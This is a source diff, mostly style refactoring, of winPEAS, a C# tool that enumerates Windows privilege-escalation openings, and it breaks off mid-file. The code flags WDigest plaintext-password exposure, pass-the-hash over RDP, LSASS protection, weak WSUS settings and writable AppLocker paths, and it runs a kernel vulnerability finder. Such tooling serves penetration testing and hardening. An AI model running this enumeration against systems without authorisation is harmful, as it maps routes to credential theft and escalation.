Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||||
System.Console.WriteLine();
|
Console.WriteLine();
|
||||||
Watson.FindVulns();
|
Watson.FindVulns();
|
||||||
|
|
||||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||||
@@ -200,7 +200,7 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.MainPrint("PS default transcripts history");
|
Beaprint.MainPrint("PS default transcripts history");
|
||||||
Beaprint.InfoPrint("Read the PS history inside these files (if any)");
|
Beaprint.InfoPrint("Read the PS history inside these files (if any)");
|
||||||
string drive = Path.GetPathRoot(Environment.SystemDirectory);
|
string drive = Path.GetPathRoot(Environment.SystemDirectory);
|
||||||
string transcriptsPath = drive + @"transcripts\";
|
string transcriptsPath = drive + @"transcripts\";
|
||||||
string usersPath = $"{drive}users";
|
string usersPath = $"{drive}users";
|
||||||
|
|
||||||
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
|
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
|
||||||
@@ -369,12 +369,12 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (lsaCfgFlags == "1")
|
if (lsaCfgFlags == "1")
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||||
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
||||||
}
|
}
|
||||||
else if (lsaCfgFlags == "2")
|
else if (lsaCfgFlags == "2")
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||||
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
|
|||||||
else if (using_HKLM_WSUS == "0")
|
else if (using_HKLM_WSUS == "0")
|
||||||
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
||||||
else
|
else
|
||||||
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
||||||
{
|
{
|
||||||
val = System.BitConverter.ToString((byte[])kvp.Value);
|
val = BitConverter.ToString((byte[])kvp.Value);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
||||||
}
|
}
|
||||||
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
|
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
|
||||||
|
|
||||||
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Cryptography;
|
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Extensions;
|
using winPEAS.Helpers.Extensions;
|
||||||
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("RDP Sessions");
|
Beaprint.MainPrint("RDP Sessions");
|
||||||
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions();
|
List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
|
||||||
if (rdp_sessions.Count > 0)
|
if (rdp_sessions.Count > 0)
|
||||||
{
|
{
|
||||||
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
||||||
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Password Policies");
|
Beaprint.MainPrint("Password Policies");
|
||||||
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
||||||
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy();
|
List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
|
||||||
Beaprint.DictPrint(PPy, ColorsU(), false);
|
Beaprint.DictPrint(PPy, ColorsU(), false);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (var logonSession in logonSessions)
|
foreach (var logonSession in logonSessions)
|
||||||
{
|
{
|
||||||
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" +
|
Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
|
||||||
$" Logon Server: {logonSession.LogonServer}\n" +
|
$" Logon Server: {logonSession.LogonServer}\n" +
|
||||||
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
||||||
$" Logon Id: {logonSession.LogonId}\n" +
|
$" Logon Id: {logonSession.LogonId}\n" +
|
||||||
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
|
|||||||
if (User32.GetLastInputInfo(ref lastInputInfo))
|
if (User32.GetLastInputInfo(ref lastInputInfo))
|
||||||
{
|
{
|
||||||
var currentUser = WindowsIdentity.GetCurrent().Name;
|
var currentUser = WindowsIdentity.GetCurrent().Name;
|
||||||
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time;
|
var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
|
||||||
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
||||||
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
||||||
|
|
||||||
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
|
|||||||
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
||||||
}
|
}
|
||||||
|
|
||||||
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
|
Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
|
||||||
$" User Name : {localUser.name}\n" +
|
$" User Name : {localUser.name}\n" +
|
||||||
$" User Id : {localUser.user_id}\n" +
|
$" User Id : {localUser.user_id}\n" +
|
||||||
$" Is Enabled : {enabled}\n" +
|
$" Is Enabled : {enabled}\n" +
|
||||||
|
|||||||
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
||||||
|
|
||||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||||
|
|
||||||
Beaprint.GoodPrint($" Conditions");
|
Beaprint.GoodPrint($" Conditions");
|
||||||
|
|
||||||
@@ -153,7 +153,7 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
||||||
|
|
||||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||||
|
|
||||||
Beaprint.GoodPrint($" Conditions");
|
Beaprint.GoodPrint($" Conditions");
|
||||||
|
|
||||||
@@ -328,39 +328,42 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var subfolders = Directory.EnumerateDirectories(path);
|
if (Directory.Exists(path))
|
||||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
|
||||||
|
|
||||||
ruleType = ruleType.ToLower();
|
|
||||||
|
|
||||||
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
|
||||||
{
|
{
|
||||||
throw new ArgumentException(nameof(ruleType));
|
var subfolders = Directory.EnumerateDirectories(path);
|
||||||
}
|
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||||
|
|
||||||
var filteredFiles =
|
ruleType = ruleType.ToLower();
|
||||||
(from file in files
|
|
||||||
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
|
||||||
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
|
||||||
select file).ToList();
|
|
||||||
|
|
||||||
// first check write access for files
|
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
||||||
if (filteredFiles.Any(CheckFileWriteAccess))
|
{
|
||||||
{
|
throw new ArgumentException(nameof(ruleType));
|
||||||
return true;
|
}
|
||||||
}
|
|
||||||
|
|
||||||
// if we have not found any writable file,
|
var filteredFiles =
|
||||||
// check subfolders for write access
|
(from file in files
|
||||||
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
||||||
{
|
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
||||||
return true;
|
select file).ToList();
|
||||||
}
|
|
||||||
|
|
||||||
// check recursively all the subfolders for files/sub-subfolders
|
// first check write access for files
|
||||||
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
if (filteredFiles.Any(CheckFileWriteAccess))
|
||||||
{
|
{
|
||||||
return true;
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// if we have not found any writable file,
|
||||||
|
// check subfolders for write access
|
||||||
|
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// check recursively all the subfolders for files/sub-subfolders
|
||||||
|
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
@@ -5,79 +5,79 @@ using System.Runtime.InteropServices;
|
|||||||
namespace winPEAS.Helpers.AppLocker
|
namespace winPEAS.Helpers.AppLocker
|
||||||
{
|
{
|
||||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||||
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public interface IAppIdPolicyHandler
|
public interface IAppIdPolicyHandler
|
||||||
{
|
{
|
||||||
// Token: 0x06000001 RID: 1
|
// Token: 0x06000001 RID: 1
|
||||||
[DispId(1)]
|
[DispId(1)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||||
|
|
||||||
// Token: 0x06000002 RID: 2
|
// Token: 0x06000002 RID: 2
|
||||||
[DispId(2)]
|
[DispId(2)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||||
|
|
||||||
// Token: 0x06000003 RID: 3
|
// Token: 0x06000003 RID: 3
|
||||||
[DispId(3)]
|
[DispId(3)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
string GetEffectivePolicy();
|
string GetEffectivePolicy();
|
||||||
|
|
||||||
// Token: 0x06000004 RID: 4
|
// Token: 0x06000004 RID: 4
|
||||||
[DispId(4)]
|
[DispId(4)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
|
|
||||||
// Token: 0x06000005 RID: 5
|
// Token: 0x06000005 RID: 5
|
||||||
[DispId(5)]
|
[DispId(5)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Token: 0x02000003 RID: 3
|
// Token: 0x02000003 RID: 3
|
||||||
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
||||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|
||||||
// Token: 0x02000004 RID: 4
|
// Token: 0x02000004 RID: 4
|
||||||
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
||||||
[ClassInterface(ClassInterfaceType.None)]
|
[ClassInterface(ClassInterfaceType.None)]
|
||||||
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
||||||
{
|
{
|
||||||
|
|
||||||
// Token: 0x06000007 RID: 7
|
// Token: 0x06000007 RID: 7
|
||||||
[DispId(1)]
|
[DispId(1)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||||
|
|
||||||
// Token: 0x06000008 RID: 8
|
// Token: 0x06000008 RID: 8
|
||||||
[DispId(2)]
|
[DispId(2)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||||
|
|
||||||
// Token: 0x06000009 RID: 9
|
// Token: 0x06000009 RID: 9
|
||||||
[DispId(3)]
|
[DispId(3)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
public virtual extern string GetEffectivePolicy();
|
public virtual extern string GetEffectivePolicy();
|
||||||
|
|
||||||
// Token: 0x0600000A RID: 10
|
// Token: 0x0600000A RID: 10
|
||||||
[DispId(4)]
|
[DispId(4)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
|
|
||||||
// Token: 0x0600000B RID: 11
|
// Token: 0x0600000B RID: 11
|
||||||
[DispId(5)]
|
[DispId(5)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Threading;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -105,7 +104,7 @@ namespace winPEAS.Helpers
|
|||||||
|
|
||||||
PrintLegend();
|
PrintLegend();
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: "+YELLOW+"https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||||
}
|
}
|
||||||
|
|
||||||
static void PrintLegend()
|
static void PrintLegend()
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ using System.Linq;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security;
|
using System.Security;
|
||||||
using System.Security.Permissions;
|
using System.Security.Permissions;
|
||||||
using System.Text;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
using System;
|
using Microsoft.Win32.SafeHandles;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using Microsoft.Win32.SafeHandles;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|
||||||
namespace winPEAS.Helpers.CredentialManager
|
namespace winPEAS.Helpers.CredentialManager
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,9 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
|
|||||||
{
|
{
|
||||||
|
|
||||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||||
if (perm != null && perm.Length> 0)
|
if (perm != null && perm.Length > 0)
|
||||||
{
|
{
|
||||||
vulnHandler.isVuln = true;
|
vulnHandler.isVuln = true;
|
||||||
vulnHandler.reason = perm;
|
vulnHandler.reason = perm;
|
||||||
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
|
|||||||
// Get the owner of a process given the PID
|
// Get the owner of a process given the PID
|
||||||
public static Dictionary<string, string> GetProcU(Process p)
|
public static Dictionary<string, string> GetProcU(Process p)
|
||||||
{
|
{
|
||||||
Dictionary<string, string> data = new Dictionary<string, string>();
|
Dictionary<string, string> data = new Dictionary<string, string>
|
||||||
data["name"] = "";
|
{
|
||||||
data["sid"] = "";
|
["name"] = "",
|
||||||
|
["sid"] = ""
|
||||||
|
};
|
||||||
IntPtr pHandle = IntPtr.Zero;
|
IntPtr pHandle = IntPtr.Zero;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
|
|||||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||||
|
|
||||||
Process proc = Process.GetProcessById(pid);
|
Process proc = Process.GetProcessById(pid);
|
||||||
Dictionary<string,string> user = GetProcU(proc);
|
Dictionary<string, string> user = GetProcU(proc);
|
||||||
|
|
||||||
StringBuilder fileName = new StringBuilder(2000);
|
StringBuilder fileName = new StringBuilder(2000);
|
||||||
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
||||||
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
|
|||||||
{ // This shouldn't be needed
|
{ // This shouldn't be needed
|
||||||
if (path.StartsWith("\\"))
|
if (path.StartsWith("\\"))
|
||||||
path = path.Substring(1);
|
path = path.Substring(1);
|
||||||
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path);
|
hive = Registry.RegistryHelper.CheckIfExists(path);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (path.StartsWith("\\"))
|
if (path.StartsWith("\\"))
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System;
|
using System.Diagnostics;
|
||||||
using System.Diagnostics;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Check if rundll32
|
//Check if rundll32
|
||||||
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None);
|
string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
|
||||||
|
|
||||||
if (binaryPathdll32.Length > 1)
|
if (binaryPathdll32.Length > 1)
|
||||||
{
|
{
|
||||||
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
|
|||||||
return strOutput;
|
return strOutput;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"};
|
private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
|
||||||
|
|
||||||
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
